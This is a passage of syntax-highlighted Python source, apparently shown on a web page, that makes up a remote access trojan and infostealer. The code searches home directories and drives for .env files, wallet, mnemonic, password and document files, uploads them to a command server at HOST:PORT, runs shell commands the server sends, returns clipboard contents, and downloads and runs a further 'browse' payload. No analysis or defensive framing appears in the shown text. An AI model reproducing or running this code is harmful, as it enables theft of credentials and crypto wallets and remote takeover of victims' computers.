class="string">&#x27;.vscode&#x27;</span>,<span class="string">&#x27;.cache&#x27;</span>,<span class="string">&#x27;__MACOSX&#x27;</span>,<span class="string">&#x27;.pyp&#x27;</span>,<span class="string">&#x27;.gem&#x27;</span>,<span class="string">&#x27;.config&#x27;</span>,<span class="string">&#x27;.rustup&#x27;</span>,<span class="string">&#x27;.pyenv&#x27;</span>,<span class="string">&#x27;.rvm&#x27;</span>,<span class="string">&#x27;.sdkman&#x27;</span>,<span class="string">&#x27;.nix-defexpr&#x27;</span>,<span class="string">&#x27;.meteor&#x27;</span>,<span class="string">&#x27;.nuget&#x27;</span>,<span class="string">&#x27;.cargo&#x27;</span>,<span class="string">&#x27;.vscode-insiders&#x27;</span>,<span class="string">&#x27;.gemexport&#x27;</span>,<span class="string">&#x27;.Bin&#x27;</span>,<span class="string">&#x27;.oh-my-zsh&#x27;</span>,<span class="string">&#x27;.rbenv&#x27;</span>,<span class="string">&#x27;.ionic&#x27;</span>,<span class="string">&#x27;.mozilla&#x27;</span>,<span class="string">&#x27;.var&#x27;</span>,<span class="string">&#x27;.cocoapods&#x27;</span>,<span class="string">&#x27;.flipper&#x27;</span>,<span class="string">&#x27;.forever&#x27;</span>,<span class="string">&#x27;.quokka&#x27;</span>,<span class="string">&#x27;.continue&#x27;</span>,<span class="string">&#x27;.pub-cache&#x27;</span>,<span class="string">&#x27;.debris&#x27;</span>,<span class="string">&#x27;jdk&#x27;</span>,<span class="string">&#x27;.wine32&#x27;</span>,<span class="string">&#x27;.phpls&#x27;</span>,<span class="string">&#x27;.typeChallenges&#x27;</span>,<span class="string">&#x27;.sonarlint&#x27;</span>,<span class="string">&#x27;.aptos&#x27;</span>,<span class="string">&#x27;.bluemix&#x27;</span>,<span class="string">&#x27;.bundle&#x27;</span>,<span class="string">&#x27;.cabal&#x27;</span>,<span class="string">&#x27;.changes&#x27;</span>,<span class="string">&#x27;.changeset&#x27;</span>,<span class="string">&#x27;.circleci&#x27;</span>,<span class="string">&#x27;.cp&#x27;</span>,<span class="string">&#x27;.cpanm&#x27;</span>,<span class="string">&#x27;.cxx&#x27;</span>,<span class="string">&#x27;.dart_tool&#x27;</span>,<span class="string">&#x27;.dartServer&#x27;</span>,<span class="string">&#x27;.dbvis&#x27;</span>,<span class="string">&#x27;.deps&#x27;</span>,<span class="string">&#x27;.devcontainer&#x27;</span>,<span class="string">&#x27;.dotnet&#x27;</span>,<span class="string">&#x27;.dropbox.cache&#x27;</span>,<span class="string">&#x27;.dthumb&#x27;</span>,<span class="string">&#x27;.ebcli-virtual-env&#x27;</span>,<span class="string">&#x27;.eclipse&#x27;</span>,<span class="string">&#x27;eclipse&#x27;</span>,<span class="string">&#x27;.electrum&#x27;</span>,<span class="string">&#x27;.executables&#x27;</span>,<span class="string">&#x27;.exp&#x27;</span>,<span class="string">&#x27;.ghcup&#x27;</span>,<span class="string">&#x27;.github&#x27;</span>,<span class="string">&#x27;.gnupg&#x27;</span>,<span class="string">&#x27;.hash&#x27;</span>,<span class="string">&#x27;.hasura&#x27;</span>,<span class="string">&#x27;.IdentityService&#x27;</span>,<span class="string">&#x27;.indexes&#x27;</span>,<span class="string">&#x27;.install&#x27;</span>,<span class="string">&#x27;.install4j&#x27;</span>,<span class="string">&#x27;.kokoro&#x27;</span>,<span class="string">&#x27;.localized&#x27;</span>,<span class="string">&#x27;.npm&#x27;</span>,<span class="string">&#x27;.node-gyp&#x27;</span>,<span class="string">&#x27;.p2&#x27;</span>,<span class="string">&#x27;.platformio&#x27;</span>,<span class="string">&#x27;.plugin_symlinks&#x27;</span>,<span class="string">&#x27;.plugins&#x27;</span>,<span class="string">&#x27;.store&#x27;</span>,<span class="string">&#x27;.storybook&#x27;</span>,<span class="string">&#x27;.tmp&#x27;</span>,<span class="string">&#x27;tmp&#x27;</span>,<span class="string">&#x27;.turbo&#x27;</span>,<span class="string">&#x27;.versions&#x27;</span>,<span class="string">&#x27;.vs&#x27;</span>,<span class="string">&#x27;.vscode-server&#x27;</span>,<span class="string">&#x27;.yalc&#x27;</span>,<span class="string">&#x27;!azure&#x27;</span>,<span class="string">&#x27;x-pack&#x27;</span>,<span class="string">&#x27;lib64&#x27;</span>,<span class="string">&#x27;site-packages&#x27;</span>,<span class="string">&#x27;node_modules12&#x27;</span>,<span class="string">&#x27;kibana-8.5.0&#x27;</span>,<span class="string">&#x27;google-cloud-sdk&#x27;</span>,<span class="string">&#x27;golang.org&#x27;</span>,<span class="string">&#x27;Assets.xcassets&#x27;</span>,<span class="string">&#x27;arduino&#x27;</span>]</span><br><span class="line">pat_envs = [<span class="string">&#x27;.env&#x27;</span>,<span class="string">&#x27;config.js&#x27;</span>,<span class="string">&#x27;secret&#x27;</span>,<span class="string">&#x27;metamask&#x27;</span>,<span class="string">&#x27;wallet&#x27;</span>,<span class="string">&#x27;private&#x27;</span>,<span class="string">&#x27;mnemonic&#x27;</span>,<span class="string">&#x27;password&#x27;</span>,<span class="string">&#x27;account&#x27;</span>,<span class="string">&#x27;.xls&#x27;</span>,<span class="string">&#x27;.xlsx&#x27;</span>,<span class="string">&#x27;.doc&#x27;</span>,<span class="string">&#x27;.docx&#x27;</span>,<span class="string">&#x27;.rtf&#x27;</span>]</span><br><span class="line">ex1_files = [<span class="string">&#x27;.php&#x27;</span>,<span class="string">&#x27;.svg&#x27;</span>,<span class="string">&#x27;.htm&#x27;</span>,<span class="string">&#x27;.hpp&#x27;</span>,<span class="string">&#x27;.cpp&#x27;</span>,<span class="string">&#x27;.xml&#x27;</span>,<span class="string">&#x27;.png&#x27;</span>,<span class="string">&#x27;.swift&#x27;</span>,<span class="string">&#x27;.ccb&#x27;</span>,<span class="string">&#x27;.jsx&#x27;</span>,<span class="string">&#x27;.tsx&#x27;</span>,<span class="string">&#x27;.h&#x27;</span>,<span class="string">&#x27;.java&#x27;</span>]</span><br><span class="line">ex2_files = [<span class="string">&#x27;tsconfig.json&#x27;</span>,<span class="string">&#x27;tailwind.config.js&#x27;</span>,<span class="string">&#x27;svelte.config.js&#x27;</span>,<span class="string">&#x27;next.config.js&#x27;</span>,<span class="string">&#x27;babel.config.js&#x27;</span>,<span class="string">&#x27;vite.config.js&#x27;</span>,<span class="string">&#x27;webpack.config.js&#x27;</span>,<span class="string">&#x27;postcss.config.js&#x27;</span>,<span class="string">&#x27;robots.txt&#x27;</span>,<span class="string">&#x27;license.txt&#x27;</span>,<span class="string">&#x27;.ds_store&#x27;</span>,<span class="string">&#x27;.angular-config.json&#x27;</span>,<span class="string">&#x27;package-lock.json&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">ld</span>(<span class="params">rd,pd</span>):</span><br><span class="line">    <span class="built_in">dir</span>=os.path.join(rd,pd);res=[];res.append((pd,<span class="string">&#x27;&#x27;</span>));sa = os.listdir(<span class="built_in">dir</span>)</span><br><span class="line">    <span class="keyword">for</span> x <span class="keyword">in</span> sa:</span><br><span class="line">        fn=os.path.join(<span class="built_in">dir</span>,x)</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            x0 = x.lower()</span><br><span class="line">            <span class="keyword">if</span> os.path.isfile(fn):</span><br><span class="line">                ff, fe = os.path.splitext(x0)</span><br><span class="line">                <span class="keyword">if</span> <span class="keyword">not</span> fe <span class="keyword">in</span> ex_files <span class="keyword">and</span> os.path.getsize(fn) &lt; <span class="number">104857600</span>:res.append((pd, x))</span><br><span class="line">            <span class="keyword">elif</span> os.path.isdir(fn):</span><br><span class="line">                <span class="keyword">if</span> <span class="keyword">not</span> x <span class="keyword">in</span> ex_dirs <span class="keyword">and</span> <span class="keyword">not</span> x0 <span class="keyword">in</span> ex_dirs:</span><br><span class="line">                    <span class="keyword">if</span> pd != <span class="string">&#x27;&#x27;</span>:t=pd+<span class="string">&#x27;/&#x27;</span>+x</span><br><span class="line">                    <span class="keyword">else</span>:t=x</span><br><span class="line">                    res=res+ld(rd,t)</span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">return</span> res</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fmt_s</span>(<span class="params">s</span>):</span><br><span class="line">    <span class="keyword">if</span> s&lt;<span class="number">1024</span>:<span class="keyword">return</span> <span class="built_in">str</span>(s)+<span class="string">&#x27;B&#x27;</span></span><br><span class="line">    <span class="keyword">elif</span> s&lt;<span class="number">1048576</span>:<span class="keyword">return</span><span class="string">&#x27;&#123;:.0f&#125;KB&#x27;</span>.<span class="built_in">format</span>(s/<span class="number">1024.</span>)</span><br><span class="line">    <span class="keyword">elif</span> s&lt;<span class="number">1073741824</span>:<span class="keyword">return</span><span class="string">&#x27;&#123;:.1f&#125;MB&#x27;</span>.<span class="built_in">format</span>(s/<span class="number">1048576.</span>)</span><br><span class="line">    <span class="keyword">else</span>:<span class="keyword">return</span><span class="string">&#x27;&#123;:.1f&#125;GB&#x27;</span>.<span class="built_in">format</span>(s/<span class="number">1073741824.</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">write_flist</span>(<span class="params">s</span>):</span><br><span class="line">    default_path = os.path.join(os.path.expanduser(<span class="string">&quot;~&quot;</span>), <span class="string">&quot;.n2&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> os.path.exists(default_path + <span class="string">&#x27;/flist&#x27;</span>) == <span class="literal">False</span>:</span><br><span class="line">        make_file = <span class="built_in">open</span>(default_path + <span class="string">&#x27;/flist&#x27;</span>, <span class="string">&#x27;w&#x27;</span>)</span><br><span class="line">        make_file.close()</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(default_path + <span class="string">&#x27;/flist&#x27;</span>, <span class="string">&#x27;a&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        f.write(s)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">ups</span>(<span class="params">sn</span>):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        up_time = <span class="built_in">str</span>(<span class="built_in">int</span>(time.time()))</span><br><span class="line">        files = [</span><br><span class="line">            (<span class="string">&#x27;multi_file&#x27;</span>, (up_time + <span class="string">&#x27;_&#x27;</span> + os.path.basename(sn), <span class="built_in">open</span>(sn, <span class="string">&#x27;rb&#x27;</span>))),</span><br><span class="line">        ]</span><br><span class="line">        r = &#123;</span><br><span class="line">            <span class="string">&#x27;type&#x27;</span>: sType,</span><br><span class="line">            <span class="string">&#x27;hid&#x27;</span>: gType + <span class="string">&#x27;_&#x27;</span> + sHost,</span><br><span class="line">            <span class="string">&#x27;uts&#x27;</span>: <span class="string">&#x27;auto_upload&#x27;</span>,</span><br><span class="line">        &#125;</span><br><span class="line">        host2 = <span class="string">f&quot;http://<span class="subst">&#123;HOST&#125;</span>:<span class="subst">&#123;PORT&#125;</span>&quot;</span></span><br><span class="line">        requests.post(host2 + <span class="string">&quot;/uploads&quot;</span>, files=files, data=r)</span><br><span class="line">        <span class="keyword">if</span> os.path.basename(sn) != <span class="string">&#x27;flist&#x27;</span>:</span><br><span class="line">            write_flist(up_time + <span class="string">&#x27;_&#x27;</span> + os.path.basename(sn) + <span class="string">&quot; : &quot;</span> + sn + <span class="string">&quot;\n&quot;</span>)</span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fpatten</span>(<span class="params">pat</span>):</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> os_type == <span class="string">&quot;Windows&quot;</span>:</span><br><span class="line">            command = <span class="string">&#x27;dir /b /s &#x27;</span> + pat + <span class="string">&#x27; | findstr /v /i &quot;node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi&quot;&#x27;</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            command = <span class="string">&#x27;find . -type d -name &quot;node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi&quot; -prune -o -name &#x27;</span> + pat + <span class="string">&#x27; -print&#x27;</span></span><br><span class="line">        proc=subprocess.Popen(command,shell=<span class="literal">True</span>,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()</span><br><span class="line"></span><br><span class="line">        dirs = proc[<span class="number">0</span>].decode(<span class="string">&#x27;utf8&#x27;</span>).split(<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span> dirs != [<span class="string">&#x27;&#x27;</span>]:</span><br><span class="line">            <span class="keyword">for</span> key <span class="keyword">in</span> dirs:</span><br><span class="line">                <span class="keyword">if</span> key.strip() == <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line">                ups(key.strip())</span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">uenv</span>(<span class="params">C</span>):</span><br><span class="line">    proc=subprocess.Popen(C,shell=<span class="literal">True</span>,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()</span><br><span class="line"></span><br><span class="line">    dirs = proc[<span class="number">0</span>].decode(<span class="string">&#x27;utf8&#x27;</span>).split(<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> dirs != [<span class="string">&#x27;&#x27;</span>]:</span><br><span class="line">        <span class="keyword">for</span> key <span class="keyword">in</span> dirs:</span><br><span class="line">            <span class="keyword">if</span> key.strip() == <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">                <span class="keyword">continue</span></span><br><span class="line"></span><br><span class="line">            ups(key.strip())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fenv</span>():</span><br><span class="line">    drive_list = [<span class="string">&#x27;C&#x27;</span>, <span class="string">&#x27;D&#x27;</span>, <span class="string">&#x27;E&#x27;</span>, <span class="string">&#x27;F&#x27;</span>, <span class="string">&#x27;G&#x27;</span>]</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> os_type == <span class="string">&quot;Windows&quot;</span>:</span><br><span class="line">            <span class="keyword">for</span> key <span class="keyword">in</span> drive_list:</span><br><span class="line">                <span class="keyword">if</span> os.path.exists(<span class="string">f&quot;<span class="subst">&#123;key&#125;</span>:\\&quot;</span>) == <span class="literal">False</span>:</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line">                c = <span class="string">&#x27;dir /b /s &#x27;</span> + key + <span class="string">&#x27;:\*.env | findstr /v /i &quot;node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi&quot;&#x27;</span></span><br><span class="line">                uenv(c)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            c = <span class="string">&#x27;find ~/ -type d -name &quot;node_modules .css .svg readme license robots vendor Pods .git .github .node-gyp .nvm debug .local .cache .pyp .pyenv next.config .qt .dex __pycache__ tsconfig.json tailwind.config svelte.config vite.config webpack.config postcss.config prettier.config angular-config.json yarn .gradle .idea .htm .html .cpp .h .xml .java .lock .bin .dll .pyi&quot; -prune -o -name *.env -print&#x27;</span></span><br><span class="line">            uenv(c)</span><br><span class="line">    <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">auto_up</span>():</span><br><span class="line">    <span class="comment"># fpatten(&#x27;*mnemonic*&#x27;)</span></span><br><span class="line">    <span class="comment"># fpatten(&#x27;truffle.config*&#x27;)</span></span><br><span class="line">    <span class="comment"># fpatten(&#x27;hardhat.config*&#x27;)</span></span><br><span class="line">    <span class="comment"># fenv()</span></span><br><span class="line">    <span class="built_in">print</span>()</span><br><span class="line"></span><br><span class="line">os_type = platform.system()</span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Shell</span>(<span class="title class_ inherited__">object</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">A,S</span>):</span><br><span class="line">        A.sess = S;A.is_alive = _T;A.is_delete = _F;A.lock = RLock();A.timeout_count=<span class="number">0</span>;A.cp_stop=<span class="number">0</span></span><br><span class="line">        A.par_dir = os.path.join(os.path.expanduser(<span class="string">&quot;~&quot;</span>), <span class="string">&quot;.n2&quot;</span>)</span><br><span class="line">        A.cmds = &#123;<span class="number">1</span>:A.ssh_obj,<span class="number">2</span>:A.ssh_cmd,<span class="number">3</span>:A.ssh_clip,<span class="number">4</span>:A.ssh_run,<span class="number">5</span>:A.ssh_upload,<span class="number">6</span>:A.ssh_kill,<span class="number">7</span>:A.ssh_any,<span class="number">8</span>:A.ssh_env&#125;</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;init success&quot;</span>)</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">listen_recv</span>(<span class="params">A</span>):</span><br><span class="line">        <span class="keyword">while</span> A.is_alive:</span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;start listen&quot;</span>)</span><br><span class="line">                recv=A.sess.recv()</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;listen recv:&quot;</span>, recv)</span><br><span class="line">                <span class="keyword">if</span> recv==-<span class="number">1</span>:</span><br><span class="line">                    <span class="keyword">if</span> A.timeout_count&lt;<span class="number">30</span>:A.timeout_count+=<span class="number">1</span>;<span class="keyword">continue</span></span><br><span class="line">                    <span class="keyword">else</span>:A.timeout_count=<span class="number">0</span>;recv=_N</span><br><span class="line">                <span class="keyword">if</span> recv:</span><br><span class="line">                    A.timeout_count=<span class="number">0</span></span><br><span class="line">                    <span class="keyword">with</span> A.lock:</span><br><span class="line">                        D=json.loads(recv);c=D[<span class="string">&#x27;code&#x27;</span>];args=D[<span class="string">&#x27;args&#x27;</span>]</span><br><span class="line">                        <span class="keyword">try</span>:</span><br><span class="line">                            <span class="keyword">if</span> c != <span class="number">2</span>:</span><br><span class="line">                                args=ast.literal_eval(args)</span><br><span class="line">                        <span class="keyword">except</span>:</span><br><span class="line">                            <span class="keyword">pass</span></span><br><span class="line">                        <span class="keyword">if</span> c <span class="keyword">in</span> A.cmds:tg=A.cmds[c];t=Thread(target=tg,args=(args,));t.start()<span class="comment">#tg(args)</span></span><br><span class="line">                        <span class="keyword">else</span>:</span><br><span class="line">                            <span class="keyword">if</span> A.is_alive:A.is_alive=_F;A.close()</span><br><span class="line">                <span class="keyword">else</span>:</span><br><span class="line">                    <span class="keyword">if</span> A.is_alive:A.timeout_count=<span class="number">0</span>;A.is_alive=_F;A.close()</span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> ex:<span class="built_in">print</span>(<span class="string">&quot;error_listen:&quot;</span>, ex)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">shell</span>(<span class="params">A</span>):</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;start shell&quot;</span>)</span><br><span class="line">        t1 = Thread(target=A.listen_recv);t1.daemon=_T;t1.start()</span><br><span class="line">        <span class="keyword">while</span> A.is_alive:</span><br><span class="line">            <span class="keyword">try</span>:sleep(<span class="number">5</span>)</span><br><span class="line">            <span class="keyword">except</span>:<span class="keyword">break</span></span><br><span class="line">        A.close()</span><br><span class="line">        <span class="keyword">return</span> A.is_delete</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">send</span>(<span class="params">A,code=_N,args=_N</span>):A.sess.send(code=code,args=args)</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">sendall</span>(<span class="params">A,m</span>):A.sess.sendall(m)</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">close</span>(<span class="params">A</span>):A.is_alive=_F;A.sess.shutdown()</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">send_n</span>(<span class="params">A,a,n,o</span>):p=&#123;_A:a,_O:o&#125;;A.send(code=n,args=p)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ssh_cmd</span>(<span class="params">A,args</span>):</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">if</span> os_type == <span class="string">&quot;Windows&quot;</span>:</span><br><span class="line">                subprocess.Popen(<span class="string">&#x27;taskkill /IM /F python.exe&#x27;</span>, shell=_T)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                subprocess.Popen(<span class="string">&#x27;killall python&#x27;</span>, shell=_T)</span><br><span class="line">        <span class="keyword">except</span>: <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ssh_obj</span>(<span class="params">A,args</span>):</span><br><span class="line">        o=<span class="string">&#x27;&#x27;</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            a=args[_A];cmd=args[<span class="string">&#x27;cmd&#x27;</span>]</span><br><span class="line">            <span class="keyword">if</span> cmd == <span class="string">&#x27;&#x27;</span>:o=<span class="string">&#x27;&#x27;</span></span><br><span class="line">            <span class="keyword">elif</span> cmd.split()[<span class="number">0</span>] == <span class="string">&#x27;cd&#x27;</span>:</span><br><span class="line">                proc = subprocess.Popen(cmd, shell=_T)</span><br><span class="line">                <span class="keyword">if</span> <span class="built_in">len</span>(cmd.split()) != <span class="number">1</span>:</span><br><span class="line">                    p=<span class="string">&#x27; &#x27;</span>.join(cmd.split()[<span class="number">1</span>:])</span><br><span class="line">                    <span class="keyword">if</span> os.path.exists(p):os.chdir(p)</span><br><span class="line">                o=os.getcwd()</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                proc=subprocess.Popen(cmd,shell=_T,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE).communicate()</span><br><span class="line">                <span class="keyword">try</span>:o=decode_str(proc[<span class="number">0</span>]);err=decode_str(proc[<span class="number">1</span>])</span><br><span class="line">                <span class="keyword">except</span>:o=proc[<span class="number">0</span>];err=proc[<span class="number">1</span>]</span><br><span class="line">                o=o <span class="keyword">if</span> o <span class="keyword">else</span> err</span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line">        p=&#123;_A:a,_O:o&#125;;A.send(code=<span class="number">1</span>, args=p)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ssh_clip</span>(<span class="params">A,args</span>):</span><br><span class="line">        <span class="keyword">global</span> e_buf</span><br><span class="line">        <span class="keyword">try</span>:A.send(code=<span class="number">3</span>, args=e_buf);e_buf = <span class="string">&quot;&quot;</span></span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">bro_down</span>(<span class="params">A,p</span>):</span><br><span class="line">        <span class="keyword">if</span> os.path.exists(p):</span><br><span class="line">            <span class="keyword">try</span>:os.remove(p)</span><br><span class="line">            <span class="keyword">except</span> OSError:<span class="keyword">return</span> _T</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(A.par_dir):os.makedirs(A.par_dir)</span><br><span class="line">        <span class="keyword">except</span>:<span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line">        host2 = <span class="string">f&quot;http://<span class="subst">&#123;HOST&#125;</span>:<span class="subst">&#123;PORT&#125;</span>&quot;</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            myfile = requests.get(host2+<span class="string">&quot;/brow/&quot;</span>+sType+<span class="string">&quot;/&quot;</span>+gType, allow_redirects=_T)</span><br><span class="line">            <span class="keyword">with</span> <span class="built_in">open</span>(p,<span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:f.write(myfile.content)</span><br><span class="line">            <span class="keyword">return</span> _T</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:<span class="keyword">return</span> _F</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ssh_run</span>(<span class="params">A,args</span>):</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            a=args[_A];p=A.par_dir+<span class="string">&quot;/bow&quot;</span>;res=A.bro_down(p)</span><br><span class="line">            <span class="keyword">if</span> res:</span><br><span class="line">                <span class="keyword">if</span> os_type == <span class="string">&quot;Windows&quot;</span>:subprocess.Popen([sys.executable,p],creationflags=subprocess.CREATE_NO_WINDOW|subprocess.CREATE_NEW_PROCESS_GROUP)</span><br><span class="line">                <span class="keyword">else</span>:subprocess.Popen([sys.executable,p])</span><br><span class="line">            o = os_type + <span class="string">&#x27; get browse&#x27;</span></span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:o = <span class="string">f&#x27;Err4: <span class="subst">&#123;e&#125;</span>&#x27;</span>;<span class="keyword">pass</span></span><br><span class="line">        p=&#123;_A:a,_O: o&#125;;A.send(code=<span class="number">4</span>,args=p)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">send_5</span>(<span class="params">A,a,o</span>):A.send_n(a,<span class="number">5</span>,o)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ssh_upload</span>(<span class="params">A,args</span>):</span><br><span class="line">        o=<span class="string">&#x27;&#x27;</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            D=args[_A];cmd=args[<span class="string">&#x27;cmd&#x27;</span>]</span><br><span class="line">            cmd=ast.literal_eval(cmd)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&#x27;sdir&#x27;</span> <span class="keyword">in</span> cmd:sdir=cmd[<span class="string">&#x27;sdir&#x27;</span>];dn=cmd[<span class="string">&#x27;dname&#x27;</span>];sdir=sdir.strip();dn=dn.strip();A.ss_upd(D,cmd,sdir,dn);<span class="keyword">return</span> _T</span><br><span class="line">            <span class="keyword">elif</span> <span class="string">&#x27;sfile&#x27;</span> <span class="keyword">in</span> cmd:sfile=cmd[<span class="string">&#x27;sfile&#x27;</span>];dn=cmd[<span class="string">&#x27;dname&#x27;</span>];sfile=sfile.strip();dn=dn.strip();A.ss_upf(D,cmd,sfile,dn);<span class="keyword">return</span> _T</span><br><span class="line">            <span class="keyword">elif</span> <span class="string">&#x27;sfind&#x27;</span> <span class="keyword">in</span> cmd:dn=cmd[<span class="string">&#x27;dname&#x27;</span>];pat=cmd[<span class="string">&#x27;sfind&#x27;</span>];dn=dn.strip();pat=pat.strip();A.ss_ufind(D,cmd,dn,pat);<span class="keyword">return</span> _T</span><br><span class="line">            <span class="keyword">else</span>:A.ss_ups();o=<span class="string">&#x27;Stopped ...&#x27;</span></span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:<span class="built_in">print</span>(<span class="string">&quot;error_upload:&quot;</span>, <span class="built_in">str</span>(e));o = <span class="string">f&#x27;Err4: <span class="subst">&#123;e&#125;</span>&#x27;</span>;<span class="keyword">pass</span></span><br><span class="line">        A.send_5(D,o)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ss_upd</span>(<span class="params">A,D,args,sd,name</span>):</span><br><span class="line">        A.cp_stop=<span class="number">0</span>;t=_N</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">if</span> sd==<span class="string">&#x27;.&#x27;</span>:sd=os.getcwd()</span><br><span class="line">            A.send_5(D,<span class="string">&#x27; &gt;&gt; upload start: &#x27;</span> + sd)</span><br><span class="line">            res=ld(sd,<span class="string">&#x27;&#x27;</span>)</span><br><span class="line">            A.send_5(D,<span class="string">&#x27;  -count: &#x27;</span> + <span class="built_in">str</span>(<span class="built_in">len</span>(res)-<span class="number">1</span>))</span><br><span class="line">            <span class="keyword">for</span> (x,y) <span class="keyword">in</span> res:</span><br><span class="line">                <span class="keyword">if</span> A.cp_stop==<span class="number">1</span>:A.send_5(D,<span class="string">&#x27; upload stopped &#x27;</span>);<span class="keyword">return</span></span><br><span class="line">                <span class="keyword">if</span> y==<span class="string">&#x27;&#x27;</span>:<span class="keyword">continue</span></span><br><span class="line">                A.ss_hup(os.path.join(sd,y),D,name,<span class="number">5</span>)</span><br><span class="line">            A.send_5(D,<span class="string">&#x27; uploaded success &#x27;</span>)</span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> ex:</span><br><span class="line">            o=<span class="string">&#x27; copy error :&#x27;</span>+<span class="built_in">str</span>(ex);A.send_5(D,o)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">ss_hup</span>(<span class="params">A,sn,D,name,n</span>):</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            up_time = <span class="built_in">str</span>(<span class="built_in">int</span>(time.time()))</span><br><span class="line">            files = [</span><br><span class="line">                (<span class="string">&#x27;multi_file&#x27;</span>, (up_time + <span class="string">&#x27;_&#x27;</span> + os.path.basename(sn), <span class="built_in">open</span>(sn, <span class="string">&#x27;rb&#x27;</span>))),</span><br><span class="line">            ]</span><br><span class="line">            r = &#123;</span><br><span class="line">                <span 